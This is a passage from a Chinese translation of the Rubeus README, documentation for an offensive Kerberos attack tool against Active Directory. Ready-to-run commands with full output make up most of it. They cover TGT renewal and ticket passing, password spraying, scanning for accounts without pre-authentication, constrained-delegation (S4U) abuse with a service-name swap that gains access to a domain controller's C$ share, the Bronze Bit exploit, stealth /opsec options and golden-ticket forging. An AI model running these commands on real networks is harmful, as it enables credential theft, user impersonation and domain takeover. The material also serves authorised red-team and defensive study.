ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
通过续订请求本地计算机账户 TGT。需要本地管理员访问权限。如果存在 Credential Guard,则无法在主机之外使用票据。```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
renew 动作将使用指定的 /ticket:X 构建/解析一个原始 的 TGS-REQ/TGS-REP TGT 续订交换。该值可以是 .kirbi 文件的 base64 编码,也可以是磁盘上 .kirbi 文件的路径。如果未指定 /dc,则提取计算机的当前域控制器并将其用作续订流量的目标。/ptt 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。
请注意,TGT 必须在其 EndTime 之前且 RenewTill 窗口内进行续订。
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
/autorenew 标志将使用现有的 /ticket:X .kirbi 文件/blob,休眠到 endTime-30 分钟,自动续订票据并显示刷新后的票据 blob。它将继续此续订过程,直到允许的 RenewTill 续订窗口过去。
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
brute 动作将执行基于 Kerberos 的密码暴力破解或密码喷洒攻击。spray 也可用作动作名称。
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
preauthscan 动作将向传递给 /users 参数的所有用户名发送 AS-REQ,以发现不需要 Kerberos 预身份验证的帐户。
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
约束委派命令的细分:
| 命令 | 描述 |
|---|---|
| s4u | 执行 S4U2self 和 S4U2proxy 动作 |
s4u 动作与 Kekeo 的 tgs::s4u 功能几乎相同。如果某个用户(或计算机)帐户配置了约束委派(即在其 msds-allowedtodelegateto 字段中具有 SPN 值),则此动作可用于滥用对目标 SPN/服务器的访问。约束委派很复杂。有关更多信息,请参见 此文章 或 Elad Shamir 的 "Wagging the Dog" 文章。
简要说明:启用约束委派的帐户被允许以任何用户的身份请求票据 给自己,这一过程称为 S4U2self。为了使帐户被允许执行此操作,其 useraccountcontrol 属性必须启用 TrustedToAuthForDelegation,默认情况下只有提升权限的用户才能修改此属性。此票据默认设置了 FORWARDABLE 标志。然后,服务可以使用此特殊请求的票据来请求帐户 msds-allowedtodelegateto 字段中指定的任何服务主体名称 (SPN) 的服务票据。简而言之,如果您控制了设置了 TrustedToAuthForDelegation 且 msds-allowedtodelegateto 中有值的帐户,您可以伪装成域中的任何用户来访问该帐户 msds-allowedtodelegateto 字段中设置的 SPN。
这种“控制”可以是帐户的哈希值(/rc4 或 /aes256),也可以是设置了 msds-allowedtodelegateto 值的帐户的现有 TGT(/ticket:X)。如果提供了 /user 和 rc4/aes256 哈希值,s4u 模块会先执行 asktgt 动作,并使用返回的票据进行后续步骤。如果提供了 TGT /ticket:X,则直接使用该 TGT。
如果提供了帐户哈希值,可以使用 /nopac 开关在请求初始 TGT 时不包含 PAC。
可以使用 KDC 代理 (MS-KKDCP) 进行请求,通过 /proxyurl:URL 参数实现。需要 KDC 代理的完整 URL,例如 https://kdcproxy.example.com/kdcproxy。当用于 s4u 命令时,所有请求都将通过代理发送。
/impersonateuser:X 参数必须提供给 s4u 模块。如果未提供其他参数,则仅执行 S4U2self 过程,返回一个可转发的票据:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
该可转发票据随后可用作 /tgs:Y 参数(base64 blob 或 .kirbi 文件),以执行 S4U2proxy 过程。必须提供帐户的有效 msds-allowedtodelegateto 值(/msdsspn:X)。假设 [email protected] 帐户如下所示:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
那么 S4U2proxy 滥用功能(使用来自前一步 S4U2self 过程的票据)将是:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
其中 /ticket:X 是第一步返回的 TGT,/tgs 是 S4U2self 票据。将生成的票据(手动使用 Rubeus.exe ptt /ticket:X 或向 s4u 命令提供 /ptt 标志)注入后,您将能够以 dfm.a 的身份访问 primary.testlab.local 上的 ldap 服务。
/altservice 参数利用了 Alberto Solino 的伟大发现:服务名称 (sname) 在 KRB-CRED 文件中未受保护,只有服务器名称受到保护。这允许我们在生成的 KRB-CRED (.kirbi) 文件中替换任何我们想要的服务名称。可以提供一个或多个备用服务名称,用逗号分隔(/altservice:cifs,HOST,...)。
让我们扩展前面的示例,通过滥用其约束委派配置和备用服务替换来伪造对 primary.testlab.local 文件系统的访问。我们还可以将所有步骤打包成一个步骤,执行 TGT 请求、S4U2self 过程、S4U2proxy 执行以及最终票据的注入:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
默认情况下,Rubeus 生成的 S4U2Self 和 S4U2Proxy TGS-REQ 与真实请求之间存在若干差异。为了使 TGS-REQ 更符合真实请求,可以使用 /opsec 标志。由于此标志旨在使 Rubeus 流量更隐蔽,默认情况下它不能与除 aes256 之外的任何加密类型一起使用,如果使用其他加密类型,则会发出警告并退出。为了允许其他加密类型与 /opsec 更改一起使用,存在 /force 标志。/opsec 标志尚未为跨域 S4U 实现。
Bronze Bit 漏洞利用 (CVE-2020-17049) 使用 /bronzebit 标志实现。添加此标志将自动翻转获取 S4U2Self 票据时的 forwardable 标志。由于翻转此标志需要对服务票据进行解密和重新加密,因此需要长期密钥(服务帐户的密码哈希)。因此,如果提供了 TGT,则还需要服务帐户的凭据才能正常工作。
在某些情况下,可以使用 S4U2Self 票据模拟受保护用户来提升请求系统上的权限,如 此处 所述。为此,可以使用 /self 标志和 /altservice:X 参数生成可用的服务票据。
要伪造 S4U2Self 引用,仅需要信任密钥。通过使用 /targetdomain:X 参数配合 /self 标志且不带 /targetdc 参数,Rubeus 会将 /ticket:X 提供的票据视为 S4U2Self 引用,并仅请求最终的 S4U2Self 服务票据。还可以使用 /altservice:X 重写结果票据中的 sname:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
票据伪造命令的细分:
golden 和 silver 命令有许多相似之处,将它们分开是为了简化 golden 命令。服务票据可能比 TGT 复杂得多,包含不同的密钥和额外部分,而 TGT 可以使用 silver 命令伪造,golden 提供了较少的潜在参数,因为与 TGT 不相关的功能未包含在内。
这两个命令的大多数参数用于设置 PAC 字段,应是合理自解释的。它们是:| 参数 | 描述 |
|----------|-------------|
| /user | 用作查询详细信息的用户(如果传递了 /ldap),同时用于设置 PAC 中的 EffectiveName 字段和 EncTicketPart 中的 cname 字段 |
| /dc | 指定用于 LDAP 查询的域控制器(如果传递了 /ldap),同时用于设置 PAC 中的 LogonServer 字段 |
| /netbios | 设置 PAC 中的 LogonDomainName 字段 |
| /sid | 设置 PAC 中的 LogonDomainId 字段 |
| /id | 设置 PAC 中的 UserId 字段(默认值:500) |
| /displayname | 设置 PAC 中的 FullName 字段 |
| /logoncount | 设置 PAC 中的 LogonCount 字段(默认值:0) |
| /badpwdcount | 设置 PAC 中的 BadPasswordCount 字段(默认值:0) |
| /uac | 设置 PAC 中的 UAC 字段(默认值:NORMAL_ACCOUNT) |
| /pgid | 设置 PAC 中的 PrimaryGroupId 字段,并同时添加到 /groups 字段中(默认值:513) |
| /groups | 逗号分隔。设置 PAC 中的 Groups 字段,同时也会将 /pgid 添加进去。总数也用于计算 GroupCount 字段(默认值:520,512,513,519,518) |
| /homedir | 设置 PAC 中的 HomeDirectory 字段 |
| /homedrive | 设置 PAC 中的 HomeDirectoryDrive 字段 |
| /profilepath | 设置 PAC 中的 ProfilePath 字段 |
| /scriptpath | 设置 PAC 中的 LogonScript 字段 |
| /logofftime | 设置 PAC 中的 LogoffTime 字段。使用本地时间格式 - 会自动转换为 UTC |
| /lastlogon | 设置 PAC 中的 LogonTime 字段。使用本地时间格式 - 会自动转换为 UTC(默认值:starttime - 1 秒) |
| /passlastset | 设置 PAC 中的 PasswordLastSet 字段。使用本地时间格式 - 会自动转换为 UTC |
| /minpassage | 设置 PAC 中的 PasswordCanChange 字段。这是相对于 PasswordLastSet 的天数,例如 '5' 表示 5 天 |
| /maxpassage | 设置 PAC 中的 PasswordMustChange 字段。这是相对于 PasswordLastSet 的天数,例如 '5' 表示 5 天 |
| /sids | 逗号分隔。设置 PAC 中的 ExtraSIDs 字段。同时用于计算 ExtraSIDCount 字段 |
| /resourcegroupsid | 设置 PAC 中的 ResourceGroupSid 字段。如果使用此参数,则同时需要 /resourcegroups |
| /resourcegroups | 逗号分隔。设置 PAC 中的 ResourceGroups 字段。同时用于计算 ResourceGroupCount 字段。如果使用此参数,则同时需要 /resourcegroupsid |
两个命令共有但用于设置 PAC 外部字段的其他参数:
对于上表中描述的相对时间,格式为一个整数(作为乘数)后跟一个单字符(表示时间范围)。每个支持的字符的含义如下表所示(区分大小写):
| 字符 | 描述 |
|---|---|
| m | 分钟 |
| h | 小时 |
| d | 天 |
| M | 月 |
| y | 年 |
两个命令共用的另一个特性是 LDAP 信息检索。golden 和 silver 都支持使用 /ldap 标志通过 LDAP 检索信息。/ldap 标志可以与 /creduser 和 /credpassword 参数一起使用,以便在检索信息时作为一个替代用户进行身份验证。如果没有传递其他信息,则通过发送 3 个 LDAP 查询并挂载域控制器的 SYSVOL 共享(用于读取域策略文件)来检索信息。LDAP 查询将自动通过 TLS 发送,如果失败则回退到明文 LDAP。
第一个 LDAP 查询(如果传递了 ldap 则始终发送)会查询 /user 中指定的用户,并检索该用户 PAC 所需的大部分信息。
如果命令行中没有给出 /groups、/pgid、/minpassage或 /maxpassage,则会发送第二个 LDAP 查询;在命令行中给出这些参数中的任何一个都会避免查询 LDAP 以获取这些信息。此查询检索用户所属的组(包括主组)以及域策略对象(用于获取策略文件的路径)。如果在命令行中没有提供 /minpassage 或 /maxpassage,并且从 LDAP 中检索到了域策略对象,则会挂载 DC 的 SYSVOL 共享并解析策略文件,以获取 MinimumPasswordAge(用于设置 PAC 中 PasswordCanChange 字段的正确值)和 MaximumPasswordAge(用于设置 PAC 中 PasswordMustChange 字段的正确值)的值。
最后,如果命令行中没有给出 /netbios 参数,则会从 Configuration 容器中发起 LDAP 查询,以获取域的正确 netbios 名称,从而设置 PAC 中的 LogonDomainName 字段。如果命令行中既没有给出 /ldap 标志也没有给出 /netbios 参数,则使用第一个元素(第一个句点 '.' 之前的部分)并将其转换为大写。
/printcmd 标志可用于打印生成另一个包含与当前票据相同 PAC 信息的票据所需的参数。这不会打印与票据有效时间相关的参数,因为这些参数很可能需要在未来伪造的任何票据中不同。
golden 操作将为用户 /user:X 伪造一个 TGT,使用 /des:X、/rc4:X、/aes128:X 或 /aes256:X 传递的哈希加密票据,并使用相同的密钥创建 ServerChecksum 和 KDCChecksum。手动设置字段的各种参数如上所述,也可以使用 /ldap 标志自动从域控制器检索信息。
/oldpac 开关可用于排除新增的 Requestor 和 Attributes PAC_INFO_BUFFER(这是为了响应 CVE-2021-42287 而添加的)。
/extendedupndns 开关将包含新的扩展 UpnDns 元素。这涉及到将 Flags 增加 2,以及包含 samaccountname 和帐户 SID。
添加了 /rodcNumber:x 参数用于执行 Kerberos 密钥列表请求。此参数的值是只读域控制器的 msDS-KrbTgtLink 属性中 krbtgt_x 之后指定的数字,例如 krbtgt_12345 则为 12345。此请求需要某些标志,可以使用 /flags:forwardable,renewable,enc_pa_rep 设置。用于加密的密钥(/des:X、/rc4:X、/aes128:X 或 /aes256:X)是 KRBTGT_x 帐户的密钥。更多信息可以在 Elad Shamir 的博文中找到此处。
使用 /ldap 标志检索信息,并使用 /printcmd 标志打印一个命令以使用相同的 PAC 信息伪造另一个 TGT:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
在命令行上显式设置所有内容来伪造 TGT:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:18:19
[*] StartTime : 29/07/2021 00:18:19
[*] EndTime : 29/07/2021 10:18:19
[*] RenewTill : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
在不同日期开始、间隔 1 天的情况下伪造 5 个 TGT,第一个从现在开始,并使用 LDAP 获取 PAC 信息:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:22:38
[*] StartTime : 29/07/2021 00:22:38
[*] EndTime : 29/07/2021 10:22:38
[*] RenewTill : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 30/07/2021 00:22:38
[*] StartTime : 30/07/2021 00:22:38
[*] EndTime : 30/07/2021 10:22:38
[*] RenewTill : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
